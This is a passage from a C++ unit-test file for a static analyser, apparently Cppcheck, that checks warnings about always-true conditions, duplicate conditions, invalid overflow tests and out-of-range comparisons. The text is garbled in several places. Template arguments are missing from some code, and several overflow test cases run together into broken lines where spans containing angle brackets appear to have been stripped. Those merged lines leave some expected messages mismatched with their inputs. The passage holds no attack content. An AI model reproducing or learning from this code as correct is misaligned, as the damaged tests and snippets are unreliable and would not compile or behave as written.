const int N = 5;\\n\"\n \" bool a[N];\\n\"\n \" for (int i = 0; i < N; a[i++] = false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8192\n \" for (int i = 0; i > 10; ++i) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (style) Condition 'i>10' is always false\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int i = 1000; i < 20; ++i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Condition 'i<20' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int foo(int foo, int bar, bool baz, bool flag) {\\n\"\n \" if (baz && flag) {\\n\"\n \" do {\\n\"\n \" if (bar==42)\\n\"\n \" return 0;\\n\"\n \" } while (flag);\\n\"\n \" }\\n\"\n \" return foo;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:6:18]: (style) Condition 'flag' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void alwaysTrueTryCatch()\n {\n check(\"void g();\\n\"\n \"void f(int x)\\n\"\n \"{\\n\"\n \" if( x ) {\\n\"\n \" try {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \" catch(...) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" g();\\n\"\n \" if( x ) {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void h();\\n\"\n \"void f(int x) {\\n\"\n \" if( x ) {\\n\"\n \" try {\\n\"\n \" g();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" catch( ... ) {}\\n\"\n \" }\\n\"\n \" h();\\n\"\n \" if( x ) {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10701\n \" std::string s;\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" s = g();\\n\"\n \" }\\n\"\n \" catch (const Err& err) {}\\n\"\n \" }\\n\"\n \" catch (const std::exception& e) {}\\n\"\n \" if (s != \\\"abc\\\") {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void multiConditionAlwaysTrue() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if (val > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if (val > 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if (val < 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Condition 'activate' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) Condition 'foo' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6904\n check(\"void f() {\\n\"\n \" const int b[2] = { 1,0 };\\n\"\n \" if(b[1] == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'b[1]==2' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9878\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a && b){;}\\n\"\n \" else if (!a && b){;}\\n\"\n \" else if (!a && !b){;}\\n\"\n \" else {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateCondition() {\n check(\"void f(bool x) {\\n\"\n \" if(x) {}\\n\"\n \" if(x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:3:8]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:10]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x != 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if(x) {}\\n\"\n \" g();\\n\"\n \" if(x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) { x++; }\\n\"\n \" if(x == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8996\n check(\"void g(int** v);\\n\"\n \"void f() {\\n\"\n \" int a = 0;\\n\"\n \" int b = 0;\\n\"\n \" int* d[] = {&a, &b};\\n\"\n \" g(d);\\n\"\n \" if (a) {}\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9311\n check(\"struct c {\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(struct c* v);\\n\"\n \"void f() {\\n\"\n \" int a = 0;\\n\"\n \" int b = 0;\\n\"\n \" struct c d[] = {{&a}, {&b}};\\n\"\n \" g(d);\\n\"\n \" if (a) {}\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8993\n check(\"void f(const std::string& x) {\\n\"\n \" auto y = x;\\n\"\n \" if (x.empty()) y = \\\"1\\\";\\n\"\n \" if (y.empty()) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9106\n check(\"struct A {int b;};\\n\"\n \"void f(A a, int c) {\\n\"\n \" if (a.b) a.b = c;\\n\"\n \" if (a.b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void c();\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" c();\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" a = 2;\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:9:14]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" auto g = [&] { b = !a; };\\n\"\n \" if (b)\\n\"\n \" g();\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool& a);\\n\"\n \"void f(bool b) {\\n\"\n \" auto h = std::bind(&g, std::ref(b));\\n\"\n \" if (b)\\n\"\n \" h();\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *i) {\\n\"\n \" if (*i == 0) {\\n\"\n \" *i = 1;\\n\"\n \" }\\n\"\n \" if (*i == 0) {\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(std::function);\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto x = [&v] { v.push_back(1); };\\n\"\n \" if(v.empty()) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \" if(v.empty())\\n\"\n \" return;\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(const S& s) {\\n\"\n \" int a = 0, b = 0;\\n\"\n \" if (s.i == 0)\\n\"\n \" a = 1;\\n\"\n \" if (s.i == 0)\\n\"\n \" b = 1;\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:13]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\", errout_str());\n\n check(\"void f(double d) {\\n\" // #12712\n \" if (std::isfinite(d)) {}\\n\"\n \" if (std::isfinite(d)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:22]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #12391\n \"int f(const struct S* a, const struct S* b) {\\n\"\n \" const struct S* p = b;\\n\"\n \" if (a->x < p->x) p++;\\n\"\n \" if (a->x < p->x) p++;\\n\"\n \" return p->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // do not crash\n check(\"void assign(const MMA& other) {\\n\"\n \" if (mPA.cols != other.mPA.cols || mPA.rows != other.mPA.rows)\\n\"\n \" ;\\n\"\n \" if (other.mPA.cols > 0 && other.mPA.rows > 0)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #11202\n \" float f = 0x1.4p+3;\\n\"\n \" if (f > 10.0) {}\\n\"\n \" if (f < 10.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidTestForOverflow() {\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert((p + x) < p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Invalid test for overflow '(p+x)= p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Invalid test for overflow '(p+x)>=p'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always true. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert(p > (p + x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Invalid test for overflow 'p>(p+x)'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always false. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert(p <= (p + x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Invalid test for overflow 'p<=(p+x)'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always true. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(signed int x) {\\n\" // unsigned overflow => don't warn\n \" assert(x + 100U < x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // x + c < x\n\n#define MSG(EXPR, RESULT) \"[test.cpp:1:30]: (warning) Invalid test for overflow '\" EXPR \"'; signed integer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always \" RESULT \". [invalidTestForOverflow]\\n\"\n\n check(\"int f(int x) { return x + 10 > x; }\");\n ASSERT_EQUALS(MSG(\"x+10>x\", \"true\"), errout_str());\n\n check(\"int f(int x) { return x + 10 >= x; }\");\n ASSERT_EQUALS(MSG(\"x+10>=x\", \"true\"), errout_str());\n\n check(\"int f(int x) { return x + 10 < x; }\");\n ASSERT_EQUALS(MSG(\"x+10 x; }\");\n ASSERT_EQUALS(MSG(\"x-10>x\", \"false\"), errout_str());\n\n check(\"int f(int x) { return x - 10 >= x; }\");\n ASSERT_EQUALS(MSG(\"x-10>=x\", \"false\"), errout_str());\n\n check(\"int f(int x) { return x - 10 < x; }\");\n ASSERT_EQUALS(MSG(\"x-10 x; }\");\n ASSERT_EQUALS(MSG(\"x+y>x\", \"y>0\"), errout_str());\n\n check(\"int f(int x, int y) { return x + y >= x; }\");\n ASSERT_EQUALS(MSG(\"x+y>=x\", \"y>=0\"), errout_str());\n\n // x - y < x\n check(\"int f(int x, int y) { return x - y < x; }\");\n ASSERT_EQUALS(MSG(\"x-y0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y <= x; }\");\n ASSERT_EQUALS(MSG(\"x-y<=x\", \"y>=0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y > x; }\");\n ASSERT_EQUALS(MSG(\"x-y>x\", \"y<0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y >= x; }\");\n ASSERT_EQUALS(MSG(\"x-y>=x\", \"y<=0\"), errout_str());\n }\n\n void checkConditionIsAlwaysTrueOrFalseInsideIfWhile() {\n check(\"void f() {\\n\"\n \" enum states {A,B,C};\\n\"\n \" const unsigned g_flags = B|C;\\n\"\n \" if(g_flags & A) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) Condition 'g_flags&A' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" if(a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Condition 'a' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" while(a + 1) { a--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" while(a + 1) { return; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (style) Condition 'a+1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void alwaysTrueFalseInLogicalOperators() {\n check(\"bool f();\\n\"\n \"void foo() { bool x = true; if(x||f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { bool x = true; if(x||b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:38]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { if(true||b) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = false; if(x||f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = false; if(x&&f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { bool x = false; if(x&&b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { if(false&&b) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = true; if(x&&f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9578\n check(\"bool f(const std::string &s) {\\n\"\n \" return s.size()>2U && s[0]=='4' && s[0]=='2';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:35] -> [test.cpp:2:48]: (style) Return value 's[0]=='2'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) { if (i == 1 || 2) {} }\\n\"); // #12487\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Condition 'i==1||2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"enum E { E1 = 1, E2 = 2 };\\n\"\n \"void f(int i) { if (i == E1 || E2) {} }\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:29]: (style) Condition 'i==E1||E2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void pointerAdditionResultNotNull() {\n check(\"void f(char *ptr) {\\n\"\n \" if (ptr + 1 != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Comparison is wrong. Result of 'ptr+1' can't be 0 unless there is pointer overflow, and pointer overflow is undefined behaviour. [pointerAdditionResultNotNull]\\n\", errout_str());\n }\n\n void duplicateConditionalAssign() {\n setMultiline();\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: style: Assignment 'x=y' is redundant with condition 'x==y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:2:11]: note: Condition 'x==y'\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x != y)\\n\"\n \" x = y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The statement 'if (x!=y) x=y' is logically equivalent to 'x=y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y'\\n\"\n \"[test.cpp:2:11]: note: Condition 'x!=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y;\\n\"\n \" else\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: style: Assignment 'x=y' is redundant with condition 'x==y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:2:11]: note: Condition 'x==y'\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x != y)\\n\"\n \" x = y;\\n\"\n \" else\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f(int& x, int y) {\\n\"\n \" if (x == y) {\\n\"\n \" x = y;\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool b) {\\n\"\n \" if (b)\\n\"\n \" b = false;\\n\"\n \" else\\n\"\n \" g();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" if (!i)\\n\"\n \" i = 1; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #9406\n \" S() : b(false) {}\\n\"\n \" void f() {\\n\"\n \" if (b) b = true;\\n\"\n \" if (b) b = false;\\n\"\n \" if (!b) b = true;\\n\"\n \" if (!b) b = false;\\n\"\n \" }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: style: The statement 'if (b) b=true' is redundant. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:4:18]: note: Assignment 'b=true'\\n\"\n \"[test.cpp:4:13]: note: Condition 'b' is redundant\\n\"\n \"[test.cpp:5:13]: style: The statement 'if (b) b=false' is logically equivalent to 'b=false'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:5:18]: note: Assignment 'b=false'\\n\"\n \"[test.cpp:5:13]: note: Condition 'b' is redundant\\n\"\n \"[test.cpp:6:13]: style: The statement 'if (!b) b=true' is logically equivalent to 'b=true'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:6:19]: note: Assignment 'b=true'\\n\"\n \"[test.cpp:6:13]: note: Condition '!b' is redundant\\n\"\n \"[test.cpp:7:13]: style: The statement 'if (!b) b=false' is redundant. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:7:19]: note: Assignment 'b=false'\\n\"\n \"[test.cpp:7:13]: note: Condition '!b' is redundant\\n\",\n errout_str());\n }\n\n void checkAssignmentInCondition() {\n check(\"void f(std::string s) {\\n\"\n \" if (s=\\\"123\\\"){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Suspicious assignment in condition. Condition 's=\\\"123\\\"' is always true. [assignmentInCondition]\\n\", errout_str());\n\n check(\"void f(std::string *p) {\\n\"\n \" if (p=foo()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(uint32_t u) {\\n\" // #2490\n \" if ((u = 0x00000000) || (u = 0xffffffff)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Condition 'u=0x00000000' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:32]: (style) Condition 'u=0xffffffff' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void compareOutOfTypeRange() {\n const Settings settingsUnix64 = settingsBuilder().severity(Severity::style).platform(Platform::Type::Unix64).build();\n\n check(\"void f(unsigned char c) {\\n\"\n \" if (c == 256) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'unsigned char' against value 256. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(unsigned char* b, int i) {\\n\" // #6372\n \" if (b[i] == 256) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Comparing expression of type 'unsigned char' against value 256. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" if (c == 255) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b == true) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10372\n check(\"void f(signed char x) {\\n\"\n \" if (x == 0xff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'signed char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(short x) {\\n\"\n \" if (x == 0xffff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'signed short' against value 65535. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 0xffffffff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(long x) {\\n\"\n \" if (x == ~0L) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(long long x) {\\n\"\n \" if (x == ~0LL) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" const int i = 0xFFFFFFFF;\\n\"\n \" if (x == i) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c;\\n\"\n \" if ((c = foo()) != -1) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 3000000000) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Comparing expression of type 'signed int' against value 3000000000. Condition is always true. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(const signed char i) {\\n\" // #8545\n \" if (i > -129) {}\\n\" // warn\n \" if (i >= -128) {}\\n\" // warn\n \" if (i >= -127) {}\\n\"\n \" if (i < +128) {}\\n\" // warn\n \" if (i <= +127) {}\\n\" // warn\n \" if (i <= +126) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Comparing expression of type 'const signed char' against value -129. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:3:15]: (style) Comparing expression of type 'const signed char' against value -128. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:5:15]: (style) Comparing expression of type 'const signed char' against value 128. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:6:15]: (style) Comparing expression of type 'const signed char' against value 127. Condition is always true. [compareValueOutOfTypeRangeError]\\n\",\n errout_str());\n\n check(\"void f(const unsigned char u) {\\n\"\n \" if (u > 0) {}\\n\"\n \" if (u < 0) {}\\n\" // warn\n \" if (u >= 0) {}\\n\" // warn\n \" if (u <= 0) {}\\n\"\n \" if (u > 255) {}\\n\" // warn\n \" if (u < 255) {}\\n\"\n \" if (u >= 255) {}\\n\"\n \" if (u <= 255) {}\\n\" // warn\n \" if (0 < u) {}\\n\"\n \" if (0 > u) {}\\n\" // warn\n \" if (0 <= u) {}\\n\" // warn\n \" if (0 >= u) {}\\n\"\n \" if (255 < u) {}\\n\" // warn\n \" if (255 > u) {}\\n\"\n \" if (255 <= u) {}\\n\"\n \" if (255 >= u) {}\\n\" // warn\n \"}\\n\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:4:14]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:6:14]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:9:14]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:11:9]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:12:9]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:14:9]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:17:9]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always true. [compareValueOutOfTypeRangeError]\\n\",\n errout_str());\n }\n\n void knownConditionCast() {\n check(\"void f(int i) {\\n\" // #9976\n \" if (i < 0 || (unsigned)i > 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B {\\n\" // #12941\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct One : public B {};\\n\"\n \"struct Two : public B {};\\n\"\n \"void g(const B& b) {\\n\"\n \" const Two* two = nullptr;\\n\"\n \" const One* one = dynamic_cast(&b);\\n\"\n \" if (one == nullptr)\\n\"\n \" two = dynamic_cast(&b);\\n\"\n \" if (two) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionIncrementLoop() { // #9808\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while (++a < 5) {}\\n\"\n \" if (a == 1) {}\\n\"\n \" std::cout << a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionAfterBailout() { // #12526\n check(\n \"#include \\n\"\n \"int func()\\n\"\n \"{\\n\"\n \" return VALUE_1;\"\n \"}\\n\"\n \"\\n\"\n \"struct S1 {\\n\"\n \" bool b{};\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct S {\\n\"\n \" void f(const std::list& l) const\\n\"\n \" {\\n\"\n \" if (mS.b)\\n\"\n \" return;\\n\"\n \" for (int i : l)\\n\"\n \" {\\n\"\n \" (void)i;\\n\"\n \" if (mS.b)\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"\\n\"\n \" S1 mS;\\n\"\n \"};\"\n );\n ASSERT_EQUALS(\"[test.cpp:13:11] -> [test.cpp:18:13]: (style) Condition 'mS.b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void knownConditionIncDecOperator() {\n check(\n \"void f() {\\n\"\n \" unsigned int d = 0;\\n\"\n \" for (int i = 0; i < 4; ++i) {\\n\"\n \" if (i < 3)\\n\"\n \" 